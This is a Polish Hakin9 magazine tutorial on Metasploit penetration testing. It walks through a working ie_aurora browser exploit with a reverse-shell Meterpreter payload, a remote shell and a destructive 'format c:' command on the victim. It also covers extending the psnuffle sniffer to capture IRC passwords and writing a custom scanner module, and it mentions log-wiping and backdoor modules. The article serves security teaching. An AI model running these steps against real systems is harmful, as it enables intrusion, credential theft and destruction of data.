Metasploit w praktyce cz II

background image

58

HAKIN9

ATAK

4/2010

W

poprzednim artykule na temat
praktycznej pracy w środowisku
Metasploit Framework (Metasploit

w praktyce, hakin9 3/2010) poznaliśmy
jego podstawowe możliwości w zakresie
przeprowadzania testów penetracyjnych z
wykorzystaniem gotowych modułów.

Z udostępnianych przez Metasploit

interfejsów użytkownika, poznaliśmy
szczegółowo środowisko msfconsole. Jako,
że jest najbardziej stabilne, najczęściej
aktualizowane oraz pozwala na dostęp
do praktycznie wszystkich funkcji, nadal
będziemy przede wszystkim z niego korzystać.
Poznaliśmy również kilka praktycznych
przykładowych testów penetracyjnych. Wiemy
już więc, że Metasploit Framework może
zostać wykorzystany na etapie rekonesansu
do zbierania informacji o docelowej
infrastrukturze za pomocą szeregu zawartych
w nim modułów pomocniczych (ang.
auxiliary). Wiemy również, że setki modułów
exploitów oraz payloadów (programów
wykonywanych w przejętym systemie po
udanym wykonaniu ataku testowego za
pomocą exploitu) pozwalają na wykonywanie
niezliczonej ilości zaawansowanych testów
penetracyjnych. Poznaliśmy również przykłady
ataków testowych wymagających interakcji
z użytkownikiem docelowego systemu, czyli
takich, które są w praktyce spotykane coraz
częściej.

WOJCIECH SMOL

Z ARTYKUŁU

DOWIESZ SIĘ

czym jest ofensywne

bezpieczeństwo,

na czym polegają

zaawansowane testy

penetracyjne,

jakie praktyczne możliwości

oferuje Metasploit Framework

w zakresie tworzenia własnych

modułów,

w jaki sposób komputerowi

włamywacze odkrywają luki w

systemach informatycznych

i w jaki sposób się do nich

włamują.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawowe rodzaje

ataków na systemy

informatyczne,

znać podstawy obsługi

systemu Linux.

Poznaliśmy również najważniejsze

informacje na temat zyskującego coraz
większą popularność, ofensywnego
podejścia (ang. Offensive Security) do
tematu bezpieczeństwa informatycznego.
Przypomnijmy, że bezpieczeństwo ofensywne
opiera się przede wszystkim na praktycznym
sprawdzaniu bieżącego stanu bezpieczeństwa
systemu teleinformatycznego. Praktycznym do
tego stopnia, że wykorzystuje w swych testach
narzędzia stosowane przez... komputerowych
włamywaczy. Osoba zajmująca się
ofensywnym bezpieczeństwem będzie więc
szukać w testowanym systemie luk za pomocą
skanera Nessus, czy też określać widoczność
komputerów oraz ich usług za pomocą
skanera nmap. Najciekawszą część takiego
przedsięwzięcia będą jednak stanowić testy
penetracyjne.

Testy penetracyjne stanowią metodę oceny

bezpieczeństwa systemu informatycznego
poprzez symulowanie prawdziwych ataków
mogących pochodzić od potencjalnych
włamywaczy. Tester (zwany często etycznym
hakerem lub pentesterem), korzystając z
prawdziwych narzędzi umożliwiających
wykonanie udanego włamania, próbuje
przełamać zabezpieczenia testowanego
systemu. Dopiero tego rodzaju testy są w stanie
odpowiedzieć na pytanie, czy dany system
informatyczny jest rzeczywiście odporny na
znane obecnie rodzaje ataków. Przykłady

Stopień trudności

Metasploit

w praktyce

cz. II

Artykuł przedstawia krok po kroku wszystko to, co każdy

zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć

o zaawansowanych testach penetracyjnych oraz metodach

tworzenia własnych modułów Metasploit Framework, ale bał

się własnoręcznie sprawdzić.

background image

59

HAKIN9

METASPLOIT W PRAKTYCE CZ. II

4/2010

tego rodzaju działań, polegających na
wykonywaniu testowych włamań do
własnych systemów (lub cudzych, za pełną
zgodą uprawnionych administratorów
oraz właścicieli) poznaliśmy właśnie w
poprzednim opracowaniu.

Jednak Metasploit Framework pozwala

nie tylko na używanie zawartych w nim w
sposób modularny exploitów, ale również
na tworzenie oraz testowanie własnych
lub przerabianie tych już istniejących.
Środowisko to zawiera również narzędzia
wspierające przebieg kompleksowej
oceny bezpieczeństwa całej infrastruktury,
w tym narzędzia pozwalające na
gromadzenie oraz analizowanie danych
otrzymywanych na podstawie kolejnych
przeprowadzanych testów.

Praktyka czyni mistrza!

Moim celem ponownie nie jest
omówienie wszystkich, niezliczonych
możliwości środowiska Metasploit. Nie
będę się również zajmował istniejącymi
metodologiami przeprowadzania testów
penetracyjnych, takimi jak OSSTMM
(ang. Open Source Security Testing
Methodology Manual
).

Ponownie skupię się przede

wszystkim na praktycznych przykładach,
na podstawie których poznamy kolejne
możliwości Metasploit Framework.
Na początek przypomnijmy sobie
jednak podstawy pracy w środowisku
msfconsole na przykładzie najnowszego,
słynnego już exploitu Aurora.

Informacje o nowej luce Zero

Day, obecnej w niemal wszystkich
wersjach przeglądarki Internet Explorer,
pojawiły się 12 stycznia br. wraz z
doniesieniami o udanych cyberatakach
(ochrzczonych w toku dalszych wydarzeń
mianem operacji Aurora) precyzyjnie
wymierzonych w Google, Adobe oraz
kilkadziesiąt innych wiodących firm
z branży informatycznej. Microsoft
niezwłocznie (14.01.2010) opracował
odpowiedni poradnik zabezpieczeń
(Microsoft Security Advisory 979352),
zawierający szereg porad utrudniających
przeprowadzenie udanych ataków.
Od tego momentu, nie upłynęły nawet
24 godziny, a exploit wykorzystujący
najnowszą lukę został upubliczniony
i włączony w skład środowiska

Metasploit Framework. W międzyczasie
rządy Niemiec i Francji zaleciły swym
obywatelom przesiadkę na alternatywne
przeglądarki internetowe. Wreszcie
Microsoft podjął decyzję o załataniu
tej groźnej luki poza comiesięcznym
cyklem łatania, co zostało ostatecznie
zrealizowane 21. stycznia. Przykład ten
pokazuje, jak niesamowicie szybko
społeczność włącza w skład środowiska
Metasplit najnowsze exploity, dzięki
czemu jesteśmy w stanie na bieżąco
testować podatność własnych systemów
na najnowsze zagrożenia typu Zero Day.
Warto przy okazji podkreślić, że operacja
Aurora stanowi jeden z pierwszych
zaobserwowanych ataków typu APT
(ang. Advanced Persistent Threat)
przeprowadzonych na tak masową
skalę. Ataki tego typu wymierzone są
zazwyczaj w duże korporacje lub ośrodki
polityczne i polegają na zaawansowanej
(skoordynowanej i wykorzystującej
zaimplementowany specjalnie na tę
okazję zaawansowany malware, będący
w stanie wykorzystać nieznane do tej
pory luki), uporczywej (zastosowanie
nieznanego do tej pory złośliwego
oprogramowania pozwala zazwyczaj na
uniknięcie wykrycia przez dłuższy czas)
infiltracji, której celem jest zebranie ściśle
określonych danych. Zdaniem wielu
specjalistów, operacja Aurora stanowi
zapowiedź nowej ery tego rodzaju
ataków. My natomiast przypomnijmy
sobie procedurę przeprowadzania testów
penetracyjnych z poziomu msfconsole
sprawdzając podatność testowego
systemu Windows XP na działanie słynnej
Aurory.

Tak jak poprzednio, jako środowisko

pracy z Metasploit Framework posłuży
nam najnowszy systemem Linux
BackTrack 4 Final. W systemie tym,
dostęp do msfconsole uzyskamy,
wykonując polecenie

./pentest/

exploits/framework3/msfconsole

lub

też wybierając z głównego systemowego
menu opcję Backtrack/Penetration/
Metasploit Exploitation Framework/
Framework Version 3/msfconsole
.

Zanim jednak zaczniemy na dobre,

zaktualizujmy jeszcze całe środowisko
Metasploit za pomocą polecenia svn
update
. W jego wyniku rozpocznie się

automatyczny proces aktualizacyjny,
dzięki któremu do dyspozycji otrzymamy
wszystkie najnowsze, dostępne na obecną
chwilę moduły. Wyposażeni w odpowiednią
wiedzę oraz broń załadowaną najnowszą
amunicją możemy wreszcie przystąpić do
naszego pierwszego wystrzału z Aurory.

W tym celu należy w konsoli

msfconsole wykonać następujące
polecenia:

msf > use exploit/windows/
browser/ie _ aurora

(wybór oraz

wejście w tryb konfiguracji modułu
exploitu ie_aurora),

msf exploit(ie _ aurora) > set
PAYLOAD windows/meterpreter/
reverse _ tcp

(wybór oraz wejście

w tryb konfiguracji modułu

payloadu

meterpreter/reverse _ tcp

;

payload

to kod, który zostanie

uruchomiony w docelowym systemie
w przypadku udanego wykonania się
ataku testowego),

msf exploit(ie _ aurora) > set
LHOST 192.168.64.129

(ustawienie

adresu IP naszego systemu, z którym
payload uruchomiony w docelowym
systemie nawiąże połączenie
zwrotne),

msf exploit(ie _ aurora) > set
URIPATH /

(ustawienie ścieżki w

adresie, na który musimy zwabić
potencjalną ofiarę, w tym przypadku
będzie to po prostu adres komputera,
na którym konfigurujemy exploit),

• msf exploit(ie_aurora) > exploit

(uruchomiemie exploitu ie_aurora).

W tym momencie nasz exploit przygotuje
serwer oczekujący na przyjęcia
połączenia z docelowego systemu, co
poznamy po następującej sekwencji
komunikatów:

[*] Exploit running as
background job. msf
exploit(ie _ aurora) >

[*] Started reverse handler on
port 4444

[*] Using URL: http://0.0.0.0:
8080/

[*] Local IP: http://
192.168.64.129:8080/

[*] Server started.

background image

60

HAKIN9 4/2010

61

HAKIN9

4/2010

Teraz pozostaje nam już tylko
odwiedzenie w docelowym systemie
za pomocą przeglądarki Internet
Explorer złośliwego adresu (czyli
adresu określonego w parametrze:
Local IP: http://192.168.64.129:8080/).
W trakcie rzeczywistego ataku, intruz
starałby się zwabić potencjalną ofiarę
na przygotowany przez siebie adres
za pomocą specjalnie przygotowanej
wiadomości e-mail, poprzez przesłanie
linku za pomocą komunikatora IM, itp.

Po odwiedzeniu w systemie

docelowym złośliwego adresu (http:
//192.168.64.129:8080/
), jeśli tylko system
ten będzie podatny na atak, w środowisku
Metasploit ujrzymy następującą
sekwencję komunikatów:

[*] Sending Microsoft
Internet Explorer "Aurora"
Memory Corruption to client
192.168.64.135 [*] Sending
stage (723456 bytes)

,

[*] Meterpreter session 1
opened (192.168.64.129:4444 -
>192.168.64.135:1109)

,

msf exploit(ie _ aurora) >

.

Połączenie z docelowym systemem
zostało więc nawiązane, a my za pomocą
następujących komend możemy uzyskać
pełny dostęp do wiersza poleceń ofiary:

msf exploit(ie _ aurora) >
sessions -i 1

,

[*] Starting interaction with
1...

,

meterpreter > getuid

(wyświetlenie

informacji o użytkowniku zalogowanym
w docelowym systemie),

Server username: WOJTEK-
CQS4EXFU\admin

,

meterpreter > shell

(uruchomienie konsoli systemowej
przejętego systemu),

Process 388 created

,

Channel 1 created

,

Microsoft Windows XP [Version
5.1.2600]

,

(C) Copyright 1985-2001
Microsoft Corp.

,

C:\Documents and Settings\
admin\Desktop>format c

:

(jesteśmy w konsoli docelowego
systemu, możemy rozpocząć dowolne
działania w zdalnym systemie...),

format c:

,

The type of the fi le system is
NTFS

,

WARNING, ALL DATA ON NON-
REMOVABLE DISK

,

DRIVE C: WILL BE LOST!

,

Proceed with Format (Y/N)? Y

.

Przebieg całej procedury można
prześledzić na Rysunku 1.

Podsumowując, udało nam się więc
przejąć całkowitą kontrolę nad systemem
Windows XP za pomocą exploitu Zero
Day. Exploit Aurora wszedł w skład
Metasploit Framework na długo przed
opublikowaniem przez Microsoft
stosowanych poprawek bezpieczeństwa.

Skoro przypomnieliśmy już sobie

z jak potężnym narzędziem do
przeprowadzania testów penetracyjnych
mamy do czynienia, możemy przystąpić
do poznawania kolejnych z jego
niezliczonych możliwości.

Zarządzanie zdobytymi

informacjami

Każdy test penetracyjny, czy to
przeprowadzany w pojedynkę, czy też
zespołowo, polega w dużej mierze na
gromadzeniu znacznych ilości informacji.
Już w średniej wielkości organizacji, ilość
danych zgromadzonych na temat całej
infrastruktury na etapie rekonesansu oraz
na temat poszczególnych podatności
wykrytych w trakcie właściwych testów
penetracyjnych, może być przytłaczająca.

Każdy pentester chciałby

dysponować narzędziem umożliwiającym
gromadzenie informacji o
przeprowadzonych do tej pory testach,
szybkie wyszukiwanie w dotychczasowych
wynikach oraz wspierające wymianę
informacji z zespołem oraz przydatne
w trakcie tworzenia raportu z przebiegu
całej operacji. Środowisko Metasploit
Framework oczywiście zostało
wyposażone w mechanizmy wspierające
tego typu operacje.

W środowisku msfconsole, podręczną

bazę danych opartą na technologii
SQLite możemy utworzyć za pomocą
polecenia

db _ create

. Następnie

należy załadować moduł

db _ tracker

,

korzystając z polecenia load

db _

tracker

. Natomiast polecenie

help

pozwoli nam na wyświetlenie wszystkich
dostępnych poleceń dla naszej
podręcznej bazy danych:

db _ add _ host

– dodanie jednego

lub więcej hostów do bazy,

db _ add _ note

– dodanie notatki

do hosta,

db _ add _ port

– dodanie

informacji o porcie hosta,

Rysunek 1.

Słynny exploit Aurora w akcji

ATAK

background image

60

HAKIN9 4/2010

61

HAKIN9

4/2010

db _ autopwn

– uruchomienie automatycznego testu

penetracyjnego,

db _ connect

– nawiązanie połączenia z istniejącą bazą

danych,

db _ create

– utworzenie nowej bazy danych,

db _ del _ host

– usunięcie jednego lub więcej hostów z

bazy,

db _ del _ port

– usunięcie informacji o porcie,

db _ destroy

– usunięcie istniejącej bazy danych,

db _ disconnect

– zerwanie połączenia z istniejącą bazą

danych,

db _ driver

– określenie sterownika bazy danych,

db _ hosts

– wyświetlenie informacji o wszystkich hostach

w bazie danych,

db _ import _ amap _ mlog

– import informacji z pliku

wynikowego programu THC-Amap,

db _ import _ nessus _ nbe

– import informacji z pliku

wynikowego (NBE) programu Nessus,

db _ import _ nessus _ xml

– import informacji z pliku

wynikowego (NESSUS) programu Nessus,

db _ import _ nmap _ xml

– import informacji z pliku

wynikowego programu Nmap,

db _ nmap

– uruchomienie skanowania programem

Nmap i zapisanie wyników do bazy,

db _ notes

– wyświetlenie wszystkich notatek zapisanych

w bazie,

db _ service

s – wyświetlenie wszystkich usług odkrytych

w ramach testowanych hostów,

db _ vulns

– wyświetlenie wszystkich podatności

zapisanych w bazie.

Następujący prosty przykład ilustruje wykorzystanie
wbudowanej w Metasploit Framework bazy danych do
zarządzania informacjami zbieranymi w trakcie testu
penetracyjnego:

db _ nmap -v -sV 192.168.64.0/24

– przeskanowanie

sieci 192.168.64.* za pomocą programu Nmap
uruchomionego z zadanymi parametrami i zapisanie
wyników do bazy danych,

db _ hosts

– w wyniku otrzymamy informacje na temat

hostów odkrytych przez skaner Nmap,

db _ services

– w wyniku otrzymamy informacje na

temat wszystkich usług, które zostały odkryte w ramach
hostów przeskanowanych programem Nmap.

Jak widać praca z bazą nie jest skomplikowana, a daje nam
naprawdę spore możliwości gromadzenia oraz analizowania
informacji zdobywanych na bieżąco w trakcie rekonesansu oraz
ataków testowych. Pentesterzy szukający jeszcze większych
możliwości w zakresie zarządzania informacjami gromadzonymi
w trakcie testów penetracyjnych, powinni natomiast zapoznać
się oprogramowaniem Dradis Framework.

Dradis to otwarty (open source) framework wspierający

nie tylko zbieranie oraz zarządzanie informacjami

background image

ATAK

62

HAKIN9 4/2010

METASPLOIT W PRAKTYCE CZ. II

63

HAKIN9

4/2010

gromadzonymi w trakcie audytów
bezpieczeństwa informatycznego, ale
również narzędzie pracy grupowej. Z
najciekawszych cech tego aktywnie
rozwijanego oprogramowania warto
wymienić możliwość komunikacji z
wykorzystaniem SSL, funkcje importu z
wielu programów (np. Nmap, Nessus),
możliwość dołączania plików, funkcje
automatycznego tworzenia raportów oraz
możliwość korzystania z zewnętrznych
systemów baz danych informacji o
podatnościach (ang. Vulnerability
databases
).

Rozszerzanie możliwości

modułów

Jak już wspominałem, każdy fragment
środowiska Metasploit może zostać
przez nas podejrzany, zmieniony, a
nawet wykorzystany we własnym celu.
Taka otwartość pozwala na proste
tworzenie własnych funkcji, naukę
poprzez podglądanie najciekawszych
rozwiązań, a przede wszystkim powoduje,
że Metasploit Framework ma dosłownie
nieograniczone możliwości. Jeśli jakaś
funkcja jest nam potrzeba, możemy ją
po prostu utworzyć lub zmodyfikować
na własny użytek, moduł już istniejący.
Tego rodzaju funkcjonalności nigdy

nie otrzymamy w przypadku bardzo
kosztowych, zamkniętych pakietów
komercyjnych, takich jak choćby
środowisko Core Impact. Jako przykład
rozszerzenia możliwości środowiska
Metasploit Framework o własne pomysły,
spróbujmy rozszerzyć możliwości modułu
pomocniczego

psnuffl e

.

Moduł pomocniczy

auxiliary/

sniffer/psnuffl e

oferuje możliwość

podsłuchiwania haseł używanych w
protokołach pop3, imap, ftp, oraz http.
Oferuje funkcjonalność zbliżoną do
programu Dsniff. Użycie tego modułu w
środowisku msfconsole jest niezwykle
proste i sprowadza się do wykonania
następujących poleceń:

msf > use auxiliary/sniffer/
psnuffl e

msf auxiliary(psnuffl e) > run

Jeśli tylko w widocznym dla naszego
systemu ruchu sieciowym pojawią
się rozpoznawane przez psnuffle
mechanizmy uwierzytelniania,
natychmiast zostaniemy poinformowani o
przechwyconych poświadczeniach:

[*] Auxiliary module running
as background job

[*] Loaded protocol FTP from
/pentest/exploits/framework3/
data/exploits/psnuffl e/ftp.rb...

[*] Loaded protocol IMAP from
/pentest/exploits/framework3/
data/exploits/psnuffl e/
imap.rb...

[*] Loaded protocol POP3 from
/pentest/exploits/framework3/
data/exploits/psnuffl e/
pop3.rb...

[*] Loaded protocol URL from
/pentest/exploits/framework3/
data/exploits/psnuffl e/url.rb...

[*] Sniffi ng traffi c.....

[*] Successful FTP Login:
192.168.6.212:21-192.168.6.201:
46614 >> user / pass (220 3Com
3CDaemon FTP Server Version
2.0)

Załóżmy teraz, że chcielibyśmy rozszerzyć
możliwości modułu psnuffle o funkcję
sniffera poświadczeń przekazywanych
za pomocą protokołu IRC (Internet Relay
Chat
). Stojąc przed tak postawionym
zadaniem, najprościej będzie, jeśli
zapoznamy się z istniejącymi już
w ramach

psnuffl e

modułami i

wykorzystamy je do własnego celu. W
systemie Linux BackTrack 4 Final, moduły
te odnajdziemy w katalogu /pentest/
exploits/framework3/data/exploits/
psnuffle
. Jako szablon wykorzystamy
moduł sniffera protokołu pop3 zawarty
w pliku pop3.rb. Dzięki skorzystaniu z
gotowego przykładu, jesteśmy w stanie
w stosunkowo prosty sposób utworzyć
poszczególne elementy własnego
rozszerzenia modułu. Poszczególne
części będą miały następującą postać.
Definicje wzorców:

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

Definicje portów oraz sposobu śledzenia
sesji: (Listing 1).

Następnie wystarczy już tylko

opracować przetwarzanie zawartości
pakietów i wychwytywanie treści
spełniających założenia zdefiniowanych
powyżej wyrażeń regularnych. Z pełną
treścią proponowanego rozszerzenia

Rysunek 2.

Metasploit wspomaga zarządzanie zebranymi informacjami

background image

ATAK

62

HAKIN9 4/2010

METASPLOIT W PRAKTYCE CZ. II

63

HAKIN9

4/2010

możliwości modułu

psnuffl e

można się

zapoznać pod następującym adresem:
http://www.offensive-security.com/msf/irc.rb.

Widać więc wyraźnie, ze dzięki

całkowitej otwartości kodu, środowisko
Metasploit Framework daje nam
niesamowitą elastyczność oraz
niespotykaną łatwość tworzenia własnych
modyfikacji oraz rozszerzeń.

Tworzenie własnych

modułów

Może się również zdarzyć tak, że
modyfikacja, bądź rozszerzenie
możliwości jakiegoś modułu będzie
dla nas niewystarczające. Jeśli więc
do skutecznego przeprowadzenia
zaplanowanych testów, niezbędne
okaże się utworzenie własnego modułu,
środowisko Metasploit Framework
ponownie okaże się na tę okazję
doskonałym rozwiązaniem. Załóżmy więc,
że jesteśmy zmuszeni w szybkim czasie
utworzyć własny specyficzny moduł
skanera sieciowego. Zadaniem naszego
skanera jest nawiązywanie połączeń TCP
(domyślnie na porcie 6666, moduł ma
jednak udostępniać możliwość zmiany
domyślnego ustawienia). Po nawiązaniu
połączenia skaner ma przesłać do serwera
wiadomość HELLO SERVER, odebrać
otrzymaną odpowiedź oraz wyświetlić jej
treść wraz z adresem IP zdalnego hosta.

Zadanie na pierwszy rzut oka wydaje

się niebanalne, w rzeczywistości jednak
dzięki temu, że możemy skorzystać ze
wszystkich klas oraz metod obecnych
już ramach środowiska Metasploit
Framework, rozwiązanie okazuje się
stosunkowo proste. Otóż nasz skaner
można utworzyć za pomocą, prostej
definicji (Listing 2).

Jak więc mogliśmy się przekonać,

dzięki wykorzystaniu gotowych
elementów środowiska, byliśmy w
stanie zaimplementować nasz skaner
w dosłownie kilkunastu liniach kodu, a
sam proces jego tworzenia przypominał
dopasowywanie gotowych klocków.

W celu praktycznego skorzystania z

naszego skanera wystarczy już tylko plik
z jego treścią zapisać (w systemie Linux
BackTrack 4 Final) w katalogu /pentest/
exploits/framework3/modules/auxiliary/
scanner/
pod nazwą nasz_tcp.rb. W
celu skorzystania z naszego skanera
wystarczy już tylko uruchomić środowisko
msfconsole i wydać następujące
polecenia:

msf > use auxiliary/scanner/
nasz _ tcp

msf auxiliary(nasz _ tcp) > set
RHOSTS 192.168.1.10

RHOSTS => 192.168.1.10

msf auxiliary(simple _ tcp) >
run

Okazuje się więc, że nawet w przypadku
wymogu utworzenia całkowicie nowego
modułu, środowisko Metasploit
Framework okaże się zaskakująco
pomocne dzięki niezwykle prostym
metodom wykorzystania istniejącego już
w jego ramach kodu.

Niezliczone możliwości

Poznaliśmy kilka kolejnych możliwości
środowiska Metasploit w zakresie
przeprowadzania zaawansowanych
testów penetracyjnych oraz zarządzania
danymi gromadzonymi w trakcie audytów.
Poznaliśmy również podstawowe metody
modyfikacji oraz tworzenia od podstaw

własnych modułów. Nadal jednak daleko
nam do poznania wszystkich możliwości
tego środowiska.

Warto jeszcze choćby tylko

wspomnieć o takich możliwościach
jak uruchomienie całego Metasploit
Framework jako payloadu w docelowym
systemie. Tego typu zabieg może bowiem
być niezwykle przydatny w momencie,
gdy uda nam się przejąć kontrolę nad
jednym z systemów w docelowej sieci, a
dalsze testy penetracyjne muszą być z
różnych względów (np. by ruch sieciowy
generowany przez testy penetracyjne nie
wychodził poza docelową infrastrukturę)
wykonywane już wyłącznie wewnątrz
docelowego lanu. Inne moduły Metasploit
pozwalają również na zacieranie śladów
(np. poprzez wyczyszczenie logów
systemowych), jakie testy penetracyjne
pozostawiły w docelowym systemie.

Istnieją również moduły stworzone z

myślą o zapewnieniu utrzymania dostępu
do przejętego systemu docelowego. Tego
typu moduły są w stanie zainstalować w
docelowym systemie keylogger lub też
backdoor, dzięki czemu pentester będzie
w stanie uzyskać dostęp do systemu,
nawet jeśli wcześniej wykorzystane luki
zostaną załatane.

Listing 1.

Sniffer haseł IRC, definicje portów oraz śledzenia sesji

return

if

not

pkt

[:

tcp

]

# We don't want to handle anything other than tcp

return

if

(

pkt

[:

tcp

]

.

src_port

!=

6667

and

pkt

[:

tcp

]

.

dst_port

!=

6667

)

#

Process

only

packet

on

port

6667

#Ensure that the session hash stays the same for both way of communication

if

(

pkt

[:

tcp

]

.

dst_port

==

6667

)

# When packet is sent to server

s

=

fi nd_session

(

"#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:

#{pkt[:tcp].src_port}"

)

else

# When packet is coming from the server

s

=

fi nd_session

(

"#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:

#{pkt[:tcp].dst_port}"

)

end

Listing 2.

Własny moduł

nietypowego skanera sieciowego

require

'

msf

/

core

'

class

Metasploit3

<

Msf

::

Auxiliary

include

Msf

::

Exploit

::

Remote

::

Tcp

include

Msf

::

Auxiliary

::

Scanner

def

initialize

super

(

'

Name

'

=>

'

My

custom

TCP

scan

',

'

Version

'

=>

'$

Revision

:

1

$',

'

Description

'

=>

'

My

quick

scanner

',

'

Author

'

=>

'

Your

name

here

',

'

License

'

=>

MSF_LICENSE

)

register_options

(

[

Opt

::

RPORT

(

6666

)

]

,

self

.

class

)

end
def

run_host

(

ip

)

connect

()

sock

.

puts

(

'

HELLO

SERVER

'

)

data

=

sock

.

recv

(

1024

)

print_status

(

"Received: #{data} from

#{ip}"

)

disconnect

()

end
end

background image

ATAK

64

HAKIN9 4/2010

Metasploit Framework coraz częściej

oferuje również moduły o znacznym
stopniu zautomatyzowania przebiegu
testu penetracyjnego. Przykładowo moduł
browser_autopwn jest w stanie nie tylko
rozpoznać typ docelowej przeglądarki
internetowej, ale również automatycznie
uruchomić exploity przeznaczone dla
odkrytego typu oprogramowania i w
konsekwencji automatycznie uzyskać
dostęp do docelowego hosta! Komercyjne
środowiska do przeprowadzania testów
penetracyjnych, takie jak choćby niezwykle
kosztowny Core Impact, nie mają już więc
zbyt wielu argumentów w walce ze swymi
otwartymi odpowiednikami.

Wreszcie pozostaje jeszcze jedno z

najciekawszych zagadnień, czyli tworzenie
przy pomocy środowiska Metapsloit
Framework własnych exploitów. Materiał
ten jest jednak obszerny i wymaga
oddzielnego omówienia.

Warto również nadmienić, że

Framework stanowiący przedmiot naszych
rozważań, nie jest jedynym darmowym
oraz otwartym oprogramowaniem tego
typu. W samym systemie Linux BackTrack
4 Final mamy do dyspozycji kilka innych
środowisk do przeprowadzania testów
penetracyjnych, takich jak Fast-Track oraz
Inguma. Warto również zainteresować się
środowiskiem Social Engineering Toolkit,

które to umożliwia przeprowadzanie
nowatorskich testów penetracyjnych z
wykorzystaniem technik socjotechnicznych.
Każdy zainteresowany ofensywnym
bezpieczeństwem znajdzie więc z
pewnością pośród tych darmowych
rozwiązań odpowiednie dla siebie
środowisko pracy.

Podsumowanie

Poznaliśmy więc kolejne praktyczne
zastosowania środowiska Metasploit
Framework, tym razem nie ograniczaliśmy
się już jednak do samych testów
penetracyjnych i korzystania z gotowych
modułów. Wiemy już więc, że ten prawdziwy
kombajn, pozwalający na realistyczne
odzwierciedlenie wszystkich typów ataków
stosowanych przez komputerowych
włamywaczy, może również wspomagać
zarządzanie informacjami gromadzonymi
w trakcie audytu.

Przekonaliśmy się również na

podstawie praktycznych przykładów, że
Metasploit to nie tylko setki gotowych
exploitów oddanych w nasze ręce przez
najlepszych ekspertów od bezpieczeństwa
informatycznego poświęcających swój
czas na rozwój tego otwartego projektu,
ale również możliwość swobodnego
przetworzenia lub wykorzystania we
własnym celu każdego z tych modułów.

Przetwarzając lub budując od

podstaw własny moduł, do swej dyspozycji
otrzymujemy wszystkie klasy oraz metody
wchodzące w skład całego środowiska, co
czyni cały proces zaskakująco prostym.
Wszystko to sprawia, że utworzenie
własnego modułu w języku Ruby jest
stosunkowo proste, a nieskomplikowany
moduł można utworzyć w ciągu kilkunastu
minut z wykorzystaniem zaledwie
kilkunastu linii kodu.

Taka otwartość pozwala na proste

tworzenie własnych funkcji, naukę
poprzez podglądanie najciekawszych
rozwiązań, a przede wszystkim powoduje,
że Metasploit Framework ma dosłownie
nieograniczone możliwości. Jeśli jakaś
funkcja jest nam potrzeba, możemy ją
po prostu utworzyć lub zmodyfikować
na własny użytek moduł już istniejący.
Tego rodzaju funkcjonalności nigdy
nie otrzymamy w przypadku bardzo
kosztowych zamkniętych pakietów
komercyjnych, takich jak choćby
wspomniany już Core Impact.

Zachęcam więc ponownie wszystkich

zainteresowanych bezpieczeństwem
informatycznym do praktycznego
zapoznania się z testami penetracyjnymi
z wykorzystaniem środowiska
Metasploit Framework, ale również
spróbowania własnych sił w zakresie
implementowania własnych rozwiązań.
Nie ma bowiem skuteczniejszego oraz
bardziej ekscytującego sposobu na
przetestowanie bezpieczeństwa własnych
systemów, niż własnoręczne włamanie
się do ich zasobów. Natomiast tworzenie
własnych modułów będzie świetną okazją
do zapoznania się (w sposób legalny) z
warsztatem komputerowych włamywaczy
oraz profesjonalnych pentesterów.
Wszystko to w konsekwencji pozwoli
nam na lepsze zabezpieczenia własnej
infrastruktury oraz lepsze zrozumienie
czyhających na nią zagrożeń!

Wojciech Smol

Autor jest absolwentem wydziału Automatyki, Elektroniki

i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył

studia na kierunku informatyka, o specjalności Bazy

danych, sieci i systemy komputerowe. Pracuje jako

administrator sieci i systemów komputerowych

oraz specjalista od bezpieczeństwa IT. Prowadzi

serwis HARD CORE SECURITY LAB dostępny

pod adresem http://hcsl.pl/. Kontakt z autorem:

wojciech.smol@gmail.com lub wojciech.smol@mz.pl.

W Sieci

http://hcsl.pl/ – Hard Core Security Lab,
http://www.metasploit.com/ – The Metasploit Project,
http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework: kurs online,
http://www.hcsl.pl/2010/01/poznalismy-sposob-crackerow-na-google.html – nowy Zero Day

w MS Internet Explorer, exploit Aurora,

http://www.microsoft.com/technet/security/advisory/979352.mspx – Microsoft Security

Advisory (979352),

http://www.hcsl.pl/2010/01/ukaza-sie-dugo-oczekiwany-linuks.html – ukazał się długo

oczekiwany Linux BackTrack 4 Final!,

http://sourceforge.net/projects/inguma/free penetration testing toolkit,
• http://www.thepentest.com/ – Fast-Track penetration testing toolkit,
http://www.backtrack-linux.org/ – nowa strona domowa projektu Linux BackTrack,
http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3

– Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus,

http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft Security

Bulletin MS08-067 – Critical,

http://dradisframework.org/ – Dradis Framework,
http://www.coresecurity.com/content/core-impact-overview – strona domowa komercyjnego

środowiska do testów penetracyjnych CORE IMPACT PRO,

http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology Manual,
http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do podsłuchiwania

haseł.


Wyszukiwarka

Podobne podstrony:
Przygotowanie do stosowania wyrażeń dwumianowanych w praktyce cz II referat, edukacja matematyczna z
2010 05 Metasploit w praktyce cz III
Edycja zdjęć w praktyce, cz II
Wiadomości i umiejętności praktyczne dotyczące obliczeń pieniężnych, miary, wagi przykłady zadań c
Praktyczne zastosowanie genetyki w hodowli ryb akwariowych cz II
Praktyczny poradnik dla początkujących fotografów aktu rozmowa z Maciejem Bagińskim, cz II
PROBLEMY ALKOHOLOWE W PRAKTYCE LEKARZA RODZINNEGO CZ II
socjologia cz II
BADANIA DODATKOWE CZ II
Wykład 5 An wsk cz II
AUTOPREZENTACJA cz II Jak w
Podstawy Pedagogiki Specjalnej cz II oligo B
J Poreda Ewangelia zdrowia, cz II
mmgg, Studia PŁ, Ochrona Środowiska, Chemia, fizyczna, laborki, wszy, chemia fizyczna cz II sprawka

więcej podobnych podstron